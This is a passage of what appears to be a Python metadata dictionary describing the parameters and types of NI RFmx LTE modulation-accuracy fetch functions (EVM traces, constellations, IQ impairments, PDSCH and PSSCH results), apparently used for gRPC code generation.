'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkPCFICHConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'pcfichConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkPDCCHConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'pdcchConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkPHICHConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'phichConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkTransmitPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'rsTransmitPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'ofdmSymbolTransmitPower', 'type': 'float64' }, { 'direction': 'in', 'hardcoded_value': 'nullptr', 'include_in_proto': False, 'name': 'reserved1', 'pointer': True, 'type': 'float64' }, { 'direction': 'in', 'hardcoded_value': 'nullptr', 'include_in_proto': False, 'name': 'reserved2', 'pointer': True, 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkTransmitPowerArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'rsTransmitPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'tags': [ 'optional' ], 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'ofdmSymbolTransmitPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'tags': [ 'optional' ], 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'hardcoded_value': 'nullptr', 'include_in_proto': False, 'name': 'reserved1', 'pointer': True, 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'arraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'hardcoded_value': 'nullptr', 'include_in_proto': False, 'name': 'reserved2', 'pointer': True, 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'arraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchEVMHighPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'evmHighPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchEVMLowPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'evmLowPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchEVMPerSlotTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'rms_evm_per_slot', 'name': 'rmsevmPerSlot', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchEVMPerSubcarrierTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_evm_per_subcarrier', 'name': 'meanRMSEVMPerSubcarrier', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchEVMPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'rms_evm_per_symbol', 'name': 'rmsevmPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchIQImpairments': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanIQOriginOffset', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanIQGainImbalance', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanIQQuadratureError', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchIQImpairmentsArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanIQOriginOffset', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanIQGainImbalance', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanIQQuadratureError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchInBandEmissionMargin': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'inBandEmissionMargin', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchInBandEmissionMarginArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'inBandEmissionMargin', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchInBandEmissionTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'inBandEmission', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'out', 'name': 'inBandEmissionMask', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchMaximumEVMPerSlotTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumEVMPerSlot', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchMaximumEVMPerSubcarrierTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumEVMPerSubcarrier', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchMaximumEVMPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumEVMPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchMaximumMagnitudeErrorPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumMagnitudeErrorPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchMaximumPhaseErrorPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumPhaseErrorPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchNPUSCHConstellationTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'dataConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'dataConstellationArraySize', 'value_twist': 'dataConstellationActualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'dataConstellationArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dataConstellationActualArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dmrsConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'dmrsConstellationArraySize', 'value_twist': 'dmrsConstellationActualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'dmrsConstellationArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dmrsConstellationActualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchNPUSCHDMRSEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'npusch_mean_rms_dmrs_evm', 'name': 'npuschMeanRMSDMRSEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'npusch_maximum_peak_dmrs_evm', 'name': 'npuschMaximumPeakDMRSEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchNPUSCHDataEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'npuschMeanRMSDataEVM', 'type': 'float64' }, { 'direction': 'out', 'name': 'npuschMaximumPeakDataEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchNPUSCHSymbolPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'npuschMeanDataPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'npuschMeanDMRSPower', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPDSCH1024QAMConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'qam1024Constellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPDSCH1024QAMEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_1024qam_evm', 'name': 'meanRMS1024QAMEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPDSCH1024QAMEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_1024qam_evm', 'name': 'meanRMS1024QAMEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPDSCH16QAMConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'qam16Constellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPDSCH256QAMConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'qam256Constellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPDSCH64QAMConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'qam64Constellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPDSCHEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_evm', 'name': 'meanRMSEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_qpsk_evm', 'name': 'meanRMSQPSKEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_16qam_evm', 'name': 'meanRMS16QAMEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_64qam_evm', 'name': 'meanRMS64QAMEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_256qam_evm', 'name': 'meanRMS256QAMEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPDSCHEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_evm', 'name': 'meanRMSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'mean_rms_qpsk_evm', 'name': 'meanRMSQPSKEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'mean_rms_16qam_evm', 'name': 'meanRMS16QAMEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'mean_rms_64qam_evm', 'name': 'meanRMS64QAMEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'mean_rms_256qam_evm', 'name': 'meanRMS256QAMEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPDSCHQPSKConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'qpskConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHConstellationTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'dataConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'dataConstellationArraySize', 'value_twist': 'dataConstellationActualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'dataConstellationArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dataConstellationActualArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dmrsConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'dmrsConstellationArraySize', 'value_twist': 'dmrsConstellationActualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'dmrsConstellationArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dmrsConstellationActualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHDMRSEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'pssch_mean_rms_dmrs_evm', 'name': 'psschMeanRMSDMRSEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'pssch_maximum_peak_dmrs_evm', 'name': 'psschMaximumPeakDMRSEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHDMRSEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'pssch_mean_rms_dmrs_evm', 'name': 'psschMeanRMSDMRSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'pssch_maximum_peak_dmrs_evm', 'name': 'psschMaximumPeakDMRSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHDataEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'psschMeanRMSDataEVM', 'type': 'float64' }, { 'direction': 'out', 'name': 'psschMaximumPeakDataEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHDataEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'psschMeanRMSDataEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'psschMaximumPeakDataEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHSymbolPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 